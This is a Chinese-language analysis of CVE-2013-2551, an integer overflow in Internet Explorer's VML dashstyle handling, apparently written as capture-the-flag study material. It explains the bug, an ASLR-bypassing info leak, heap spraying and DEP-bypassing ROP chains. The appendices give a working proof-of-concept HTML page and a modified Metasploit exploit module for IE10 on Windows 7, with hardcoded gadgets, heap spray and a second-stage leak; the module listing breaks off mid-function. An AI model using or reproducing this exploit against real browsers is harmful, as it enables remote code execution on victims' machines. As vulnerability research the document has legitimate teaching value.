CVE-2013-2551漏洞成因與利用分析(ISCC2014 PWN6)


CVE-2013-2551漏洞成因與利用分析

1. 簡介

  VUPEN在Pwn2Own2013上利用此漏洞攻破了Win8+IE10,5月22日VUPEN在其博客上公布了漏洞的細節。它是一個ORG數組整數溢出漏洞,由於此漏洞的特殊性,使得攻擊者可以通過整數溢出修改數組的長度,獲取任意內存讀寫的能力,最終繞過ASLR並獲取控制權限實現遠程代碼執行。

  在漏洞公布不久,就有人寫出了對應的metasploit利用代碼,不過其代碼只支持Win7+IE8環境。通過分析,想要在Win7+IE10下成功利用此漏洞需要解決幾個關鍵問題,並運用幾個技巧。本文首先參考已有的分析文章,根據自己的理解對漏洞成因再次進行綜合分析,記錄分析過程及結果,方便小組成員學習。然后針對IE8、IE10兩個環境,對漏洞利用所使用的技術及技巧進行總結。

 

2. 實驗環境

  操作系統:Win7 SP1 (6.1.7601.17514)

  瀏覽器:IE10.0.9200.16540

  漏洞編號:CVE-2013-2551

 

3. 漏洞分析

  這個漏洞是由於負責VML解析的模塊VGX.DLL,在處理<v:stroke>標簽的dashstyle.array.length屬性時,沒有對傳入的參數進行完備驗證而導致的整數溢出。攻擊者利用這個漏洞能夠對任意地址進行讀寫操作——通過讀取敏感內存信息、改寫對象虛函數表,就能夠完美繞過重重內存防護機制實現任意代碼執行。

3.1. VML

  VML(Vector Markup Language)矢量標記語言是SVG的前身,它仍然被IE10所支持,通過它可以在頁面中表現二維矢量圖形。值得說明的是IE10在默認情況下是不支持VML的,但通過在HTML中加入有關對文檔模式的聲明,可以使IE10正常解析VML標簽。VML被vgx.dll(C:\Program Files\Common Files\Microsoft Shared\VGX)所實現,可以通過附件中的VML.html來簡單了解VML的使用。

3.2. 漏洞成因

  VML為shape元素實現了一個Stroke子元素,Stroke子元素有一個DashStyle屬性。DashStyle可以是一個常數也可以是一個自定義的類型。例如下面的使用方法:

  當通過JS讀取dashstyle屬性時,其內部會調用"vgx!COAStroke::get_dashstyle()",隨后"vgx!COAStroke::get_dashstyle()"調用子函數"vgx!COAShapeProg::GetOALineDashStyle()"並最終返回一個COALineDashStyle對象。

  dashstyle屬性的功能是被COALineDashStyle對象實現的,COALineDashStyle對象的方法如下,其中get_value/put_value是針對dashstyle為常數的情況。

  如果dashstyle屬性是自定義類型,調用COALineDashStyle::get_array()方法,將會在其子函數COAShapeProg::GetOALineDashStyleArray()中返回一個COALineDashStyleArray對象。

 

  COALineDashStyleArray對象用來管理自定義類型的dashstyle屬性,其方法如下:

  設置或者讀取dashstyle.array.length屬性時,對應的put_length或get_length函數就會被調用;利用數組下標訪問dash.array屬性時,對應的put_item或get_item函數就會被調用。

 

 

  使用JS語句對dashstyle屬性賦值時,例如:stroke.dashstyle = "1 2 3 4",函數vgx!ParseDashStyle會被調用,將控制流轉向_MsoFCreateArray函數來創建一個ORG數組。在_MsoFCreateArray中調用_MsoFInitPx函數根據數組成員個數來、進行內存分配,每個數組成員占四字節內存,所以ORG數組的緩沖區大小為數組成員個數×4(byte)。在對dashstyle.array.length屬性賦值時,數組成員的個數會改變,在put_length函數中會根據新設置的值來重新為ORG數組成分配內存。然而在put_length中存在一個整數溢出漏洞,漏洞相關代碼如下:

 

 

 

 

 

  可以看出漏洞成因就在於put_length函數判斷當前長度current_length和desired_length長度時,使用跳轉指令是用於判斷有符號數的jge指令,而數組長度是一個unsiged int類型的變量。因此當傳入desired_length的值為有符號數0xFFFFFFFF時,會導致跳轉至loc_1008B844處,進而調用ORG::DeleteRange。執行流程為:ORG::DeleteRange-->MsoDeletePx-->MsoFRemovePx。

  進入MsoFRemovePx函數時,arg_4=current_length-desired_length,arg_8=desired_length。

 

  在MsoFRemovePx函數內部,最終將desired_length設置成了current_length,使得在沒有重新分配內存的情況下將ORG數組長度current_length改寫成0xFFFF。因此,可以通過此時的ORG數組獲得越界訪問。

 

  要想成功觸發漏洞,須使用JS將dashstyle.array.length的值設置為0xFFFFFFFF,但是如果直接使用語句dashstyle.array.length = 0xFFFFFFFF。會提示錯誤有"溢出"發生,將0xFFFFFFFF改為(0-1)就能夠成功觸發漏洞了。

  “漏洞成因”結合“信息泄露”的源代碼在附錄poc (CVE-2013-2551).html中給出,請參見附件。

 

4. 漏洞利用

4.1. Bypass ASLR

4.1.1.  信息泄露

  VML shape的_vgRuntimeStyle屬性由COARuntimeStyle對象負責處理,它包含很多方法,如下

 

  使用JS語句設置或者讀取_vgRuntimeStyle.marginLeft屬性時,對應的COARuntimeStyle::put_marginLeft()或者COARuntimeStyle::get_marginLeft()函數就會被調用。

 

  如果是第一次訪問marginLeft/rotation屬性,那么在put_marginLeft/put_rotation函數中會調用CVMLShape::GetRTSInfoàCParserTag::GetRTSInfo來創建一個COARuntimeStyle對象,該對象大小為0xAC(實際分配0xB0)。

  而marginLeft屬性的值對應的字符串指針就保存在該COARuntimeStyle對象的0x58偏移處。同樣get_marginLeft函數在讀取marginLeft屬性時,也是通過訪問這個對象偏移0x58位置上的字符串指針來完成的。

 

  COARuntimeStyle::put_marginLeft()

 

  因此,我們可以設置堆內存,使得ORG數組在一個COARuntimeStyle對象前面。然后通過ORG數組用任意值(這里使用0x7ffe0300)越界重寫marginLeft屬性的字符串指針,再使用COARuntimeStyle::get_marginLeft()將任意內存地址(0x7ffe0300)處的內容讀取出來。0x7ffe0300處保存着ntdll!KiFastSystemCall的地址,通過此地址減去相應偏移即可得到當前ntdll.dll的內存基址。

  也可以通過ORG數組越界讀隨后COARuntimeStyle對象的前4字節(虛函數表指針),最終減去相應偏移即可得到當前vgx.dll的內存基址。

  信息泄露部分的源代碼見附件poc (CVE-2013-2551).html

 

4.1.2. 定位shellcode

  定位shellcode有兩種方法可控選擇,使用的最多的方法就是堆噴射,但是它並不是一種完美的利用方法。完美的利用方法是通過漏洞讀取出shellcode的地址。我使用兩種方法分別實現了IE10下的漏洞利用。

4.1.2.1. 通過堆噴射布局shellcode

  使用堆噴射可以方便的布局我們的shellcode在指定的內存處。在IE8下,堆噴射使用常見的heapLib技術。IE10下,heapLib不再奏效,我們可以通過DEPS技術實現堆噴射。具體技術資料及源碼很多,此處不再贅述。

4.1.2.2. 通過漏洞定位shellcode

  由於此漏洞的特殊性,使其具有任意地址讀的能力。參見4.1.1信息泄露部分,我們可以將shellcode作為COARuntimeStyle的marginLeft屬性值,再通過觸發漏洞使用ORG數組越界讀取出shellcode的地址。其原理與“信息泄露”一致,主要在於代碼實現,請參見“CVE-2013-2551_MS13-037(IE10noHeapSpray).rb”。

 

4.2. 獲取控制權

  當通過JS讀取_anchorRect屬性時,其內部會調用"vgx!COAShape::get__anchorRect()",最終創建並返回一個0x10大小的COAReturnedPointsForAnchor對象。

 

 

 

  因此有這樣一種利用場景:創建大量的COAReturnedPointsForAnchor對象,在其中為Dashstyle屬性創建具有4個元素的ORG數組使其內存布局剛好位於大量COAReturnedPointsForAnchor對象之間。然后利用漏洞通過ORG數組越界改寫其后COAReturnedPointsForAnchor對象的虛函數表指針,從而獲取控制權。具體步驟如下:

 

  1) 創建大量的COAShape元素(v:shape)

  2) 遍歷每個COAShape的_anchorRect屬性,這樣就可以創建COAReturnedPointsForAnchor元素,在遍歷的過程中,某個地方給dashstyle屬性賦值,這樣會創建ORG對    象,為保證ORG對象和COAReturnedPointsForAnchor對象在同一個堆塊並且地址連續,ORG的元素數目為4個,正好 4×4 = 0x10。

  3) Dashstyle.array.length = -1,觸發漏洞。由於漏洞被觸發,Dashstyle.array的長度被修改為0xffff,可以越界寫內存

  4) dashstyle.array.item(6) = 0x0c0c0c0c,修改ORG后面的COAReturnedPointsForAnchor虛表指針。Item(6)是為了跳過堆首部的8個字節。

  5) 釋放_anchorRec元素,當被修改虛表指針的元素被刪除時,會通過虛表調用Release函數,這樣就可以被攻擊者獲得控制權。

 

4.3. Bypass DEP

4.3.1. IE8

  首先來看當被修改虛函數表指針的COAReturnedPointsForAnchor對象將要被釋放時,索引其Release虛函數的過程。

 

  如上圖所示,(98行)ecx保存着對象UserPtr地址,並將其首4字節(虛函數表指針)傳遞給eax,然后(100行)調用虛函數表的第三個函數。而在“獲取控制權”階段我們已經將對象的首4字節改寫成了0x0c0c0c0c,因此它將在0x0c0c0c0c處的偽造虛函數表中索引虛函數表並調用。

  在IE8下通過常規的heapLib技術進行堆噴射,將shellcode布局在0x0c0c0c0c處。並在0x0c0c0c0c處偽造虛函數表,構造ROP chain。

 

  如上圖所示,0x0c0c0c0c處就是根據之后虛函數被調用順序,構造的ROP chain,將切換堆棧的指令(xchg eax,esp)的地址放在了0x0c0c0c0c + 0x08處,這樣當程序接下來調用虛基表中的第3個虛函數Release時,就在偽造的虛函數表0x0c0c0c0c處索引第三個函數地址,並執行xchg eax,esp; retn指令

  注意,當調用“第三個虛函數”時,eax保存着虛函數表指針(此時為0x0c0c0c0c),ecx保存着對象UserPtr指針。其隨后的執行流程如下:

  1) 通過xchg eax,esp指令可將堆棧切換到0x0c0c0c0c上,使得esp指向0x0c0c0c0c處。隨后執行retn指令時,將會在新的堆棧(0x0c0c0c0c)上索引返回地址並

          跳轉執行。

  2) 執行0x0c0c0c0c處第一個4字節地址所指向的指令——retn。繼續在堆棧上索引返回地址。

  3) 執行0x0c0c0c0c處第二個4字節地址所指向的指令——pop ebx; retn。意在跳過0x0c0c0c0c處的第三個4字節,並將第四個4字節的值作為返回地址並執行。

  4) 第四個4字節為實際為ntdll!ZwProtectVirtualMemory函數地址,其返回地址、調用參數已經硬編碼到隨后的shellcode中。其目的在於修改0x0c0c0c40處0x400字

          節大小的內存空間的屬性,將其修改成可執行頁面。

  5) ntdll!ZwProtectVirtualMemory執行完畢后從堆棧上索引返回地址,跳轉到0x0c0c0c40處繼續執行,最終繞過了DEP,實現了任意代碼執行。

 

4.3.2. IE10

  在IE10下,我們將面對兩個關鍵問題。首先是以前常用的堆噴射技術(heapLib)不再奏效;其次是編譯器做了調整,在索引虛函數時eax不再保存虛函數表指針,轉而保存對象UserPtr指針,並由ecx來保存虛函數表指針。其造成的結果是指令串xchg ecx,esp; retn;對應的字節碼變長(變為87E1C3,而xchg eax,esp; retn為94C3),使得在內存中很難搜索到能夠滿足類似要求的指令串,從而無法輕易控制esp。(IE10下相關代碼如下圖所示)

 

  針對IE10,我找到了可替代的堆噴射方法——DEPS,關於DEPS的技術細節及實現請參見參考資料鏈接。

  而當在ntdll.dll中嘗試搜索實現類似功能的指令串(xchg ecx,esp; retn;)無果后,需要重新理清思路。想明白我們能控制什么,盡最大可能利用它們仍然可以繞過阻礙。

4.3.2.1. 堆噴射下ROP chain構造

  在IE10下使用DEPS技術仍然可以進行堆噴射,並把我們的shellcode部署在指定內存空間,demo中將shellcode部署在0x0c0c2228處。此時我們重點關注如何在call dword ptr [ecx+8]時控制堆棧,使得esp切換到指定的內存空間處(0x0c0c2228)

  在IE8下,我們通過漏洞使用ORG數組越界改寫了對象的虛函數表指針,最終對象在釋放過程中將索引我們偽造的虛函數,並在一個ROP gadget中實現對堆棧的控制。但IE10下保存虛函數表指針的寄存器變成了ecx,保存對象指針的寄存器變成了eax,此時無法在一個ROP gadget中實現類似xchg ecx,esp; retn的功能。

  此時,我們面對的情況為:保存對象指針的eax、保存對象虛函數表指針的ecx、一個具有越界讀寫對象能力的ORG數組。

  因此,可以使用ORG數組進一步越界改寫對象頭部,利用容易找到的xchg eax,esp; retn指令串先將堆棧切換到對象內存空間上。然后再通過其他的ROP gadget將堆棧切換到shellcode處(0x0c0c2228)。實現對堆棧esp的完全控制。

  首先通過mona.py搜索ntdll.dll中所有可能的gadget后。在其搜索結果中尋找可用的ROP gadget。最終效果如下:

 

  由於我們使用了堆噴射技術對shellcode進行布局,因此我們能夠確切的知道其內存位置(0x0c0c2228),在調用ntdll!ZwProtectVirtualMemory修改shellcode內存空間可執行權限時基本不存在問題,可以通過硬編碼設置當前堆棧上的返回地址、參數值等。如下圖所示:

 

4.3.2.2. 無堆噴射下ROP chain構造

  • 獲取shellcode地址

  在4.1.1信息泄露部分,已經介紹了利用COARuntimeStyle對象及其marginLeft屬性來讀取任意地址處的值。如果將shellcode作為COARuntimeStyle的marginLeft屬性,再通過觸發漏洞,可以很容易獲得shellcode的地址,這樣就可以不使用heap spray,實現完美的利用。利用方法如下:

  其中#{js_code}為shellcode,marginLeftAddress即為讀取到的shellcode地址。

 

  • 構造ROP chain

  由於shellcode地址是動態獲取的,因此在構造ROP chain(尤其是在堆棧上為ntdll!ZwProtectVirtualMemory構造返回地址及參數)時不能使用硬編碼。構造ROP chain是一項考驗並激發創造力的體力活,其中mona.py為我們創造了條件,提供了很多便利。

  在為其構造ROP chain時運用了幾個小技巧,下面一一講解,首先來看函數的定義

  其總體思想是將ntdll!ZwProtectVirtualMemory函數調用的函數地址、返回地址、參數依次傳遞給edi、esi、ebp、esp、ebx、edx、ecx。然后使用pushad; retn指令串將其布局在堆棧上並調用,調用pushad; retn指令串前的要求寄存器環境為:

 

  因為ntdll!ZwProtectVirtualMemory函數的參數中有指針,參數NumberOfBytesToProtect即為一個指針,指向要修改保護屬性的字節數。在ROP chain中可以使用push esp; pop; pop retn的指令串來動態獲得當前的地址,例如下圖122行代碼所示,其ROP gadget將NumberOfBytesToProtect的地址傳遞給了esi,最終傳遞給了ebx

 

  ntdll!ZwProtectVirtualMemory的參數BaseAddress也是一個指針,指向要修改內存屬性的內存基址。調用pushad; retn前,要使esp指向想要修改內存屬性的內存基址也需要一點小技巧,我的實現如下圖。143行代碼首先獲取當前堆棧的地址,然后將其加0x40字節,並寫入其值所指的內存中。即指針所指的內存空間保存着指針的地址。

  最后,真正的返回地址(esi)要指向最終的payload,它將會被布局在ROP chain之后,即pushad; retn指令串之后的+4字節處(pushad; retn指令串之后的4字節保存BaseAddress)。因此,還需要將eax加4字節再傳遞給esi。

 

  由於在shellcode中不能出現/u0000,因此在指定NewAccessProtection時,通過加法指令溢出寄存器,使其變為0x00000040。其實現過程如下:

 

  至此,構造ROP chain時所運用的幾個技巧已經講解完畢。此處也可以將shellcode分開存放,即將payload作為COARuntimeStyle的marginLeft屬性存放;將偽造的虛函數表及用於改寫payload所在頁面屬性的ZwProtectVirtualMemory參數布局在ntdll.dll的.rsrc處,即可省去復雜的ROP構造;

  構造ROP chain雖然是體力活,但也考驗並激發創造力。有點像走一根有障礙的獨木橋,想明白自己能控制什么,盡最大可能利用它們繞過阻礙,最終展現那奇妙可能性時的成就感妙不可言。

 

5. 總結

  網上也已經有多篇文章對CVE-2013-2551漏洞成因與利用方法進行了分析說明。個人認為它是學習漏洞利用技術非常好的一個例子,通過這一個漏洞可以了解學習到漏洞利用過程中的多種技術與技巧。

 

6. 參考資料

[1] Advanced Exploitation of Internet Explorer 10 / Windows 8 Overflow (Pwn2Own 2013):http://www.vupen.com/blog/20130522.Advanced_Exploitation_of_IE10_Windows8_Pwn2Own_2013.php

[2] CVE-2013-2551利用技巧分析:http://hi.baidu.com/4b5f5f4b/item/33d5c21e33ed12181994ec6c

[3] CVE-2013-2551利用分析:http://zenhumany.blog.163.com/blog/static/171806633201403114815739/

 

7. 附錄

7.1. poc (CVE-2013-2551).html

<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
</head>

<title>
POC by VUPEN
</title>

<style>v\: * { behavior:url(#default#VML); display:inline-block }</style>

<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />

<body onload="createRects(); exploit();">
<v:oval style="width:100pt;height:50pt" fillcolor="red"></v:oval>
<v:oval>
<v:stroke id="vml1"/>
</v:oval>
</body>

<script>

var rect_array = new Array()
var a = new Array()

function createRects(){
  for(var i=0; i<0x400; i++){
    rect_array[i]    = document.createElement("v:shape")
    rect_array[i].id = "rect" + i.toString()
    document.body.appendChild(rect_array[i])
  }
}

function exploit(){

  var vml1  = document.getElementById("vml1")
  
  for (var i=0; i<0x400; i++){
    a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;
  }

  
  for (var i=0; i<0x400; i++){
    a[i].rotation;                
    if (i == 0x300) {           
      vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
    }
  }

  var length_orig = vml1.dashstyle.array.length;
  vml1.dashstyle.array.length = 0 - 1;   

  for (var i=0; i<0x400; i++)
  {
    a[i].marginLeft = "a";                                                                
  
    marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16);
    
    if (marginLeftAddress > 0) {
      vml1.dashstyle.array.item(0x2E+0x16) = 0x7ffe0300;
      var leak = a[i].marginLeft;
      vml1.dashstyle.array.item(0x2E+0x16) = marginLeftAddress;
      vml1.dashstyle.array.length = length_orig;
      alert( parseInt( leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16 ));
      return;
    }
  }

}
</script>

</html>
View Code

 

7.2. CVE-2013-2551_MS13-037(IE10).rb

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::RopDb
  include Msf::Exploit::Remote::BrowserAutopwn

  autopwn_info({
    :ua_name    => HttpClients::IE,
    :ua_minver  => "10.0",
    :ua_maxver  => "10.0",
    :javascript => true,
    :os_name    => OperatingSystems::WINDOWS,
    :rank       => Rank
  })


  def initialize(info={})
    super(update_info(info,
      'Name'           => "MS13-009 Microsoft Internet Explorer COALineDashStyleArray Integer Overflow",
      'Description'    => %q{
          This module exploits an integer overflow vulnerability on Internet Explorer.
        The vulnerability exists in the handling of the dashstyle.array length for vml
        shapes on the vgx.dll module. This module has been tested successfully on Windows 7
        SP1 with IE10. It uses the the JRE6 to bypass ASLR by default. In addition a target
        to use an info leak to disclose the ntdll.dll base address is provided. This target
        requires ntdll.dll v6.1.7601.17514 (the default dll version on a fresh Windows 7 SP1
        installation) or ntdll.dll v6.1.7601.17725 (version installed after apply MS12-001).
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Nicolas Joly', # Vulnerability discovery, PoC and analysis
          'Danny (modified from Nicolas Joly)', # PoC
          'juan vazquez' # Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2013-2551' ],
          [ 'OSVDB', '91197' ],
          [ 'BID', '58570' ],
          [ 'MSB', 'MS13-037' ],
          [ 'URL', 'http://www.vupen.com/blog/20130522.Advanced_Exploitation_of_IE10_Windows8_Pwn2Own_2013.php' ],
          [ 'URL', 'http://binvul.com/viewthread.php?tid=311' ]
        ],
      'Payload'        =>
        {
          'Space'          => 948,
          'DisableNops'    => true,
          'BadChars'       => "\x00",
          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
        },
      'DefaultOptions'  =>
        {
          'InitialAutoRunScript' => 'migrate -f'
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic', {} ],
          [ 'IE 10 on Windows 7 SP1 with JRE6 ROP', # default
            {
              'Rop' => :jre,
              'Offset' => '0x5f4'
            }
          ],
          # requires:
          # * ntdll.dll v6.1.7601.17514 (fresh W7SP1 installation)
          # * ntdll.dll v6.1.7601.17725 (MS12-001)
          [ 'IE 10 on Windows 7 SP1 with ntdll.dll Info Leak',
            {
              'Rop' => :ntdll,
              'Offset' => '0x5f4'
            }
          ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Mar 06 2013",
      'DefaultTarget'  => 0))

    register_options(
      [
        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
      ], self.class)

  end

  def exploit
    @second_stage_url = rand_text_alpha(10)
    @leak_param = rand_text_alpha(5)
    super
  end

###############################

  def get_ntdll_rop
    case @ntdll_version
    when "6.1.7601.17514"
      stack_pivot = [
        @ntdll_base+0x0001578a, # ret # from ntdll
        @ntdll_base+0x000096c9, # pop ebx # ret # from ntdll
        @ntdll_base+0x00047733, # XCHG EAX,ESP # POP ESI # POP EDI # LEA EAX,DWORD PTR DS:[EDX-1] # POP EBX # RETN from [ntdll.dll]
      ].pack("V*")
      ntdll_rop = [
        @ntdll_base+0x00047643,     # pop edi # retn
        @ntdll_base+0x00045F18,     # ntdll!ZwProtectVirtualMemory
        @ntdll_base+0x000c71ef,        # pop esi # retn 
        0x0c0c227c,                    # ret to shellcode                    0x0c0c2228+21*4 = 0x0c0c227c
        @ntdll_base+0x000cb72a,        # pop ebp # retn
        0xffffffff,                    # ProcessHandle
        @ntdll_base+0x000348b9,        # pop ebx # retn
        0x0c0c2274,                    # ptr to NumberOfBytesToProtect        0x0c0c2228+19*4 = 0x0c0c2274
        @ntdll_base+0x0009a30c,        # pop eax # retn
        0xFA3DFA7F,
        @ntdll_base+0x0003ab39,        # add eax,5C205C1 # retn
        @ntdll_base+0x00036d70,        # xchg eax,edx # retn    (-> put 0x00000040 into edx)
        @ntdll_base+0x000cd241,        # pop ecx # retn
        0x0c0c2278,                    # ptr to OldAccessProtection
        @ntdll_base+0x000227c4,        # PUSHAD # RETN        eax ecx edx ebx esp(original) ebp esi edi
        0x0c0c227c,                    # BaseAddress
        0x00010400,                    # NumberOfBytesToProtect
        0x41414141,                    # OldAccessProtection
      ].pack("V*")
      return stack_pivot + ntdll_rop
    when "6.1.7601.17725"        # 未構造
      stack_pivot = [
        @ntdll_base+0x0001579a, # ret # from ntdll
        @ntdll_base+0x000096c9, # pop ebx # ret # from ntdll
        @ntdll_base+0x00015799, # xchg eax, esp # ret from ntdll
      ].pack("V*")
      ntdll_rop = [
        @ntdll_base+0x45F18, # ntdll!ZwProtectVirtualMemory
        0x0c0c0c40, # ret to shellcode
        0xffffffff, # ProcessHandle
        0x0c0c0c34, # ptr to BaseAddress
        0x0c0c0c38, # ptr to NumberOfBytesToProtect
        0x00000040, # NewAccessProtection
        0x0c0c0c3c, # ptr to OldAccessProtection
        0x0c0c0c40, # BaseAddress
        0x00000400, # NumberOfBytesToProtect
        0x41414141  # OldAccessProtection
      ].pack("V*")
      return stack_pivot + ntdll_rop
    else
      return ""
    end
  end

  
  def get_payload(t, cli)
    code = payload.encoded
    # No rop. Just return the payload.
    return code if t['Rop'].nil?

    # Both ROP chains generated by mona.py - See corelan.be
    case t['Rop']
    when :jre
      print_status("Using JRE ROP")
      stack_pivot = [
        0x7c348b06, # ret # from msvcr71
        0x7c341748, # pop ebx # ret # from msvcr71
        0x7c348b05  # xchg eax, esp # ret from msvcr71
      ].pack("V*")
      rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot})
    when :ntdll
      print_status("Using ntdll ROP")
      rop_payload = get_ntdll_rop + code
    end

    return rop_payload
  end

  
  def load_exploit_html(my_target, cli)
    p  = get_payload(my_target, cli)

    js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
    js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
    js_ntdllBase = @ntdll_base
    
    js_trigger = %Q|
    
    // Land the payload at 0x0c0c2228
function HeapSpray(){

    var div_container = document.getElementById("blah");
    div_container.style.cssText = "display:none";
    
    var data;
    var offset = 0x104;
    var nops = unescape("#{js_nops}");
    var code = unescape("#{js_code}");
        
    while (nops.length < 0x1000) nops += nops;
        
    data = nops.substring(0,offset) + code;
    data += nops.substring(0,0x800-offset-code.length);
    
    while (data.length < 0x80000) data += data;
    
    // IE 8, 9 and 10 : 0x0c0c2228
    for (var i = 0; i < 0x350; i++)
    {
        var obj = document.createElement("button");
        obj.title = data.substring(0,0x40000-0x58); //aligned spray 
        div_container.appendChild(obj);
    }
    
}
    
    var rect_array = new Array();
    var a = new Array();
    var ntdllBase = #{js_ntdllBase};

function createRects(){

  for(var i=0; i<0x1000; i++){
    rect_array[i]    = document.createElement("v:shape")
    rect_array[i].id = "rect" + i.toString()
    document.body.appendChild(rect_array[i])
  }
  
}

function exploit(){

  var vml1 = document.getElementById("vml1")

  for (var i=0; i<0x1000; i++){
    a[i] = document.getElementById("rect" + i.toString())._anchorRect;
    if (i == 0x800) {
      vml1.dashstyle = "1 2 3 4"
    }
  }

  vml1.dashstyle.array.length = 0 - 1;
  tempp = vml1.dashstyle.array.item(6);
  vml1.dashstyle.array.item(6) = 0x0c0c2228;    // vgx!COALineDashStyleArray::put_item+0x84/72 (4 + 2)
  vml1.dashstyle.array.item(8) = 0x0c0c2228;    // ebx
  vml1.dashstyle.array.item(9) = ntdllBase + 0xcc18d;    // (RVA : 0x000cc18d) : # MOV ESP,EBX # POP EBX # RETN     @ntdll_base + 0xcc18d = 0x770cc18d

  //for (var i=0; i<0x1000; i++)
  {
    delete a[0x801];
    CollectGarbage();
  }
  //location.reload();

}
    |

    heap_spray_func = "HeapSpray"
    create_rects_func = "createRects"
    exploit_func = "exploit"

    if datastore['OBFUSCATE']
      js_trigger = ::Rex::Exploitation::JSObfu.new(js_trigger)
      js_trigger.obfuscate
      heap_spray_func = js_trigger.sym("HeapSpray")
      create_rects_func = js_trigger.sym("createRects")
      exploit_func = js_trigger.sym("exploit")      
    end

    html = %Q|
<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
</head>

<title>
</title>

<style>v\\: * { behavior:url(#default#VML); display:inline-block }</style>

<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />

<script>
#{js_trigger}
</script>

<body onload="#{heap_spray_func}(); #{create_rects_func}(); #{exploit_func}();">
<div id="blah"></div>
<v:oval>
<v:stroke id="vml1"/>
</v:oval>
</body>

</html>
    |

    return html
  end


  def html_info_leak

    js_trigger = %Q|
    var rect_array = new Array()
    var a = new Array()

function createRects(){
  for(var i=0; i<0x400; i++){
    rect_array[i]    = document.createElement("v:shape")
    rect_array[i].id = "rect" + i.toString()
    document.body.appendChild(rect_array[i])
  }
}

function exploit(){

  var vml1  = document.getElementById("vml1")

  for (var i=0; i<0x400; i++){
    a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;
  }

  for (var i=0; i<0x400; i++){
    a[i].rotation;
    if (i == 0x300) {
      vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
    }
  }

  var length_orig = vml1.dashstyle.array.length;
  vml1.dashstyle.array.length = 0 - 1;

  for (var i=0; i<0x400; i++)
  {
    a[i].marginLeft = "a";
    marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16);
    if (marginLeftAddress > 0) {
      vml1.dashstyle.array.item(0x2E+0x16) = 0x7ffe0300;
      var leak = a[i].marginLeft;
      vml1.dashstyle.array.item(0x2E+0x16) = marginLeftAddress;
      vml1.dashstyle.array.length = length_orig;
      document.location = "#{get_resource}/#{@second_stage_url}" + "?#{@leak_param}=" + parseInt( leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16 )
      return;
    }
  }

}
    |

    create_rects_func = "createRects"
    exploit_func = "exploit"

    if datastore['OBFUSCATE']
      js_trigger = ::Rex::Exploitation::JSObfu.new(js_trigger)
      js_trigger.obfuscate
      create_rects_func = js_trigger.sym("createRects")
      exploit_func = js_trigger.sym("exploit")
    end

    html = %Q|
<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
</head>
<title>
</title>
<style>v\\: * { behavior:url(#default#VML); display:inline-block }</style>
<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
<script>
#{js_trigger}
</script>
<body onload="#{create_rects_func}(); #{exploit_func}();">
<v:oval>
<v:stroke id="vml1"/>
</v:oval>
</body>
</html>
    |

    return html

  end


  def get_target(agent)
    #If the user is already specified by the user, we'll just use that
    return target if target.name != 'Automatic'

    nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
    ie = agent.scan(/MSIE (\d)/).flatten[0] || ''

    ie_name = "IE #{ie}"

    case nt
    when '5.1'
      os_name = 'Windows XP SP3'
    when '6.0'
      os_name = 'Windows Vista'
    when '6.1'
      os_name = 'Windows 7'
    end

    targets.each do |t|
      if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
        print_status("Target selected as: #{t.name}")
        return t
      end
    end

    return nil
  end


  def on_request_uri(cli, request)
    agent = request.headers['User-Agent']
    uri   = request.uri
    print_status("Requesting: #{uri}")

    my_target = get_target(agent)
    # Avoid the attack if no suitable target found
    if my_target.nil?
      print_error("Browser not supported, sending 404: #{agent}")
      send_not_found(cli)
      return
    end

    if my_target['Rop'] == :ntdll and request.uri !~ /#{@second_stage_url}/
      html = html_info_leak
      html = html.gsub(/^\t\t/, '')
      print_status("Sending HTML to info leak...")
      send_response(cli, html, {'Content-Type'=>'text/html'})
    else
      leak = begin
        request.uri_parts["QueryString"][@leak_param].to_i
      rescue
      end

      # Use JRE1.6 to exploit it.
      if leak == 0
        html = load_exploit_html(my_target, cli)
        html = html.gsub(/^\t\t/, '')
        print_status("Sending HTML to trigger(Use JRE1.6)...")
        send_response(cli, html, {'Content-Type'=>'text/html'})
        return
      end

      # Use Ntdll to exploit it.
      print_status("ntdll leak: 0x#{leak.to_s(16)}")
      fingerprint = leak & 0x0000ffff

      case fingerprint
      when 0x70B0
        @ntdll_version = "6.1.7601.17514"
        @ntdll_base = leak - 0x470B0
      when 0x7090
        @ntdll_version = "6.1.7601.17725" # MS12-001
        @ntdll_base = leak - 0x47090
      else
        print_error("ntdll version not detected, sending 404: #{agent}")
        send_not_found(cli)
        return
      end

      html = load_exploit_html(my_target, cli)
      html = html.gsub(/^\t\t/, '')
      print_status("Sending HTML to trigger(Use Ntdll)...")
